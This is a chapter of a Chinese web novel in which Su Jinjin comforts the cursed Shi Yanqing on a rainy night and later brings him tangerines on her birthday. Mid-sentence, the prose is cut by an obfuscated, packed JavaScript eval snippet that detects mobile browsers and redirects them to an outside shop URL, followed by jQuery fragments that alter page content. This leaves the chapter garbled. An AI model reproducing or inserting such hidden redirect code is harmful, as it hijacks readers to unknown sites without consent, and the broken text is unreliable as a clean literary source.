23. 细雨
作品:《反派他不太正常》 细雨当空,如针般密密落下,淋湿了梨花树。
残花败叶掉落,独留几片梨花摇摇欲坠悬挂在枝头。
苏锦锦支撑着迷蒙的睡眼,强忍着困意裹紧了几分外袍,晃了晃脑袋紧跟在几人身后。
“好困啊。”
时晏清眼尾泛红,细雨模糊了他的神色,本就白皙的面庞也无了血色,步伐平稳且轻快地奔向方府。
细雨洇湿了苏锦锦的肩膀,凉意渐入骨髓,已是三更天,一股寒风吹拂,不由得哆嗦一下。
外袍已被蒙蒙细雨打湿,内里的襦裙若隐若现,泛着浅粉色。
睡意全无。
苏锦锦浑浑噩噩地向前迈着步子,又晃了晃脑袋,半个身子瘫在时晏清的肩膀。
“不行了,不行了,我走不动了。”
苏锦锦声音轻柔地像羽毛,扫过时晏清的耳畔,惹得心里痒痒的。
时晏清猛地一震,黑眸暗流汹涌,未曾言语,一手搀扶着苏锦锦。
小雨淅沥,模糊了方府的门牌,时晏清闪身,缓缓将苏锦锦放在床榻上,便快步向门口走去。
抬脚,又折返,替苏锦锦褪去了打湿的外袍,闪身回了隔壁的客房。
雨声密密的打在窗棂,令人安心,苏锦锦却窸窸窣窣的翻了身。
意识混沌,听着淅淅沥沥的雨声,却又想起什么,苏锦锦腾一下起身,脑袋彻底清醒起来。
雨夜,又是熟悉的雨夜。
时晏清咬紧牙关,熟稔的拿出被角下的匕首。
房间昏暗,熄灭的烛火泛着淡色烟雾,窗边传来响声,匕首猝不及防掉在床板上,发出沉闷的响声。
“谁?”
时晏清声线拔高几分,带着丝丝克制的颤抖与慌乱。
烛火复燃,昏暗的房间明亮起来,泛着暖意的光,令人安心。
突如其来的亮光使时晏清不由得怔愣一瞬,旋即飞快地藏起了床榻上的匕首。
一个毛茸茸的小脑袋浮现在眼帘,弯了弯水灵灵的杏子眼。
时晏清撇过头去,垂下睫羽掩盖住眸中的情绪,淡淡开口:“滚。”
苏锦锦并未因时晏清的三言两语而受挫,好像对这种对话习以为常。
匕首被时晏清藏在被角下,苏锦锦毫不顾忌地躺在时晏清的床上。
“有事吗?”
时晏清的语气冷淡且疏远,毫无温度。
比秋雨还冷。
苏锦锦从怀中掏出一个精致的小瓷瓶,又指了指自己脖颈狰狞的伤痕。
鲜血已经干涸,挂着晶莹的水珠,还未来得及擦干。
一道触目惊心的深红染在白皙的皮肤,格格不入。
苏锦锦仰着脸,一手将小瓷瓶推过去几分。
“帮我上下药嘛,我看不见。”
时晏清眼波流动,似深不见底的湖水,泛着圈圈涟漪。
苏锦锦又撇了撇嘴,眨着一双楚楚可怜的杏眼:“这要是留疤了,多不好看嘛。”
少年叹了口气,随即认命般爬起来,打开小瓷瓶替苏小姐上着药。
那脖颈纤细,好似一用力便能折断,记忆重叠,仿佛又回到了长安城的那个雨夜。
同样是雨夜,这个活灵活现的小姑娘便生硬地闯入了他的客房,瞧见了他最落败的一面。
她毫不掩饰地示好,对于他的恶语相向不以为意。
一次次的巧合,将他们的命运交织在一次,纠缠不清。
而一旁的苏锦锦倒不以为意,仰着脖子,一双杏眸滴溜溜的转,打量着屋内的陈设。
香炉升起袅袅青烟,散发着令人安心的香气。
时晏清隐忍到极致,雨夜的诅咒,令他身心俱疲,摇曳的烛火尽数点亮了他狼狈不堪的模样。
“苏小姐知道了诅咒的秘密,难道不怕我杀了你吗?”
苏锦锦身子向后仰去,毫不顾忌地躺在时晏清的床上,眨了眨干涩的杏眼。
她又在时晏清的床上打了个滚,好似两人在聊家常般。
“不会啊。”
时晏清紧紧攥着下垂的手,因着用力指尖微微泛白。
只一瞬,那双黑眸又黯淡了下去。
“因为我们是朋友呀。”
苏锦锦眸子亮晶晶的,眉梢见满是喜色,咯咯地笑起来。
她的明媚,令时晏清有些不适。
苏锦锦拉着时晏清毫不避讳地躺在床上,柔软的被褥好似轻柔的棉花,在心口铺上一层暖意。
方府规格较其他府来讲大很多,即便是客房,屋内的陈设也处处透露出精贵。
此刻客房的床两人平躺也不拥挤。
两双黑眸一眨不眨地望着天花板,就像幼时同朋友躺在床上畅想未来的生活一般。
“时晏清,其实有时候痛苦的解决办法不只是伤害自己。”
苏锦锦望着天花板,时晏清望着苏锦锦。
“你可以哭一场,或者找朋友倾诉,再或者大吃大喝一顿。”
时晏清有些好笑,苏锦锦这种闺阁小姐对任何事都抱有期待,看得美好。
不食人间烟火,也不知人间疾苦。
苏锦锦侧过身,眼睫轻眨,似蝴蝶扑簌簌地落在他的心底。
“你要相信,你也很好。”
【系统提醒:待攻略人物时晏清目前好感度:60%!!!】
【宿主再接再厉】
苏锦锦弯了弯唇,在一夜的奔走与疲惫下,安心地阖上眼帘。
身侧的少年侧着身,细细打量着少女的模样。
光洁的额头,如蝴蝶翩翩起舞般的睫羽,再到粉嫩的唇瓣。
美好且安心。
时晏清眼目光轻柔地如羽毛,生怕惊醒梦中人。
“生辰快乐。”
*
一夜无梦,时晏清没再伤害自己,那种钻心刺骨的疼痛却也渐渐淡了下去。
昨夜折腾半宿,几人歇息地太晚,再睁眼已是傍晚。
夜晚的梨花弥漫着丝丝缕缕地芬芳,伴着雨后泥土的青草香,透过窗棂,钻入衣领,萦绕在鼻尖。
屋内空无一人,若苏锦锦躺过的地方还残留着那缕若有若无的桃花香,他怕是要认为昨夜的情景只是自己的幻想。
甜腻,又美好,令人回味无穷。
他的心底好像空了一块,涌上来一股没来由的失落。
时晏清定定看着那个位置,迟迟未回过神来。
“你醒啦,时晏清。”
熟悉欢快的少女音在门口响起,苏锦锦笑得明媚张扬,眉眼弯弯,手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001581|193969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里端着梨花木盘,朝着时晏清的方向微微晃了晃。
木盘上方不是精致的糕点,而是一碗精巧的蜜橘。
蜜橘小小的,泛着诱人的光泽,乖巧地整齐排列,躺在梨花木盘里。
苏锦锦嘴里还叼了个扒好皮的蜜橘,说话含糊不清。
苏锦锦将梨花木盘娴熟地放在床侧,随意搬了个木椅在塌边坐下。
时晏清坐起身,他并未束发,墨色长发乖顺地躺在他的肩头。
与往日意气风发的少年郎不同,此刻又多了几分俊俏。
他的视线从苏锦锦娇艳的面庞下移到梨花木盘上的蜜橘。
时晏清只怔怔地望着那盘蜜橘,迟迟没动手。
苏锦锦盯了他好半晌,一双杏眼灵动地转了转,拿起盘中的蜜橘,纤细的手指拨动,三两下就剥好了一个橘子。
苏锦锦的手好似一件完美的工艺品,恰恰她又喜欢用这双手拨弄些小玩意。
时晏清的目光落在苏锦锦的手上,那双粉白手掌间躺了个蜜橘。
“现在可以吃了吧。”
蜜橘仰着脑袋,好似欣喜地看着来人。
不过反派就是反派,时晏清点了点头,毫不留情地吞了下去。
苏锦锦一脸挫败地看着空空如也的掌心,时晏清看着眼前人的神态竟莫名的好笑。
苏沐风轻叩房门,清脆的响声扰乱了两人的思绪:“阿清,锦锦,用晚膳了。”
苏锦锦拍了拍手,想起今日已是来来方府的第三日,今日也就是花灯节。
这也算是她来到这个世界过得第一个生日。
想到这,苏锦锦开心地拍了拍手,朝着苏沐风的方向跑了过去。
“来啦。”
清甜的少女音回荡在整个屋子里,时晏清一双黑眸怔怔地望着那盘精巧的蜜橘,眸中闪过一丝不易察觉的失落。
时晏清的皓腕骤然被拉住,顺着视线移动到另一双带着柳条手环的腕上。
柳条打着卷,耷拉着脑袋,一副病恹恹的模样,却丝毫减却不了少女的活力生机。
“哎呀,快走了呀,今天有花灯节,你忘了吗?”
时晏清这才缓缓下了床,整理好才走出门。
一路上,苏锦锦垂着头,眉眼间尽是忧心忡忡。
虽然几人已经得知梨鸢便是方愿儿的化身,但见方无池与方夫人似乎并没有看出来梨鸢身份的模样。
自己到底要不要多着一嘴。
苏锦锦眉头紧锁,不停地摩挲着指尖,肩膀却被轻轻拍了一下,吓得跳了起来。
“吓死我了。”
林怀烟瞧见苏锦锦这副模样,向后躲了一下,才安抚般地摸了摸苏锦锦的后背。
“想什么呢,这么紧张。”
苏锦锦扶了扶胸口,神色才放松下来。
“没什么事。”
“就是我们要不要告诉方夫人和方无池梨鸢的身份。”
“毕竟他们也很爱自己的女儿吧。”
苏锦锦声线甜美,带着些淡淡的忧虑。
林怀烟挽起苏锦锦的小臂,眸中温润,似月下海棠:“有些事,不用我们来说。”
苏锦锦皱了皱眉,更是不解:“什么意思啊?”
“可能他们早就认出来了呢?”

